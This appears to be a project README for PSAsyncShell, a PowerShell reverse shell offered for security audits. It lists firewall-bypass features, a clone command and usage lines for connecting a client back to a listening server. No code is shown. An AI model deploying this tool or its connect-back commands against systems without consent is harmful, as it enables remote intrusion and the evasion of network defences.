PSAsyncShell - PowerShell Asynchronous TCP Reverse Shell

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PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.

Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.

Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded traffic.


Requirements

  • PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSAsyncShell

Usage

.\PSAsyncShell.ps1 -h

  ____  ____    _                         ____  _          _ _
 |  _ \/ ___|  / \   ___ _   _ _ __   ___/ ___|| |__   ___| | |
 | |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
 |  __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | |  __/ | |
 |_|   |____/_/   \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
                         |___/

  ---------------------- by @JoelGMSec -----------------------

 Info:  This tool helps you to get a remote shell
        over asynchronous TCP to bypass firewalls

 Usage: .\PSAsyncShell.ps1 -s -p listen_port
          Listen for a new connection from the client

        .\PSAsyncShell.ps1 -c server_ip server_port
          Connect the client to a PSAsyncShell server

 Warning: All info betwen parts will be sent unencrypted
          Download & Upload functions don't use MultiPart

The detailed guide of use can be found at the following link:

https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.






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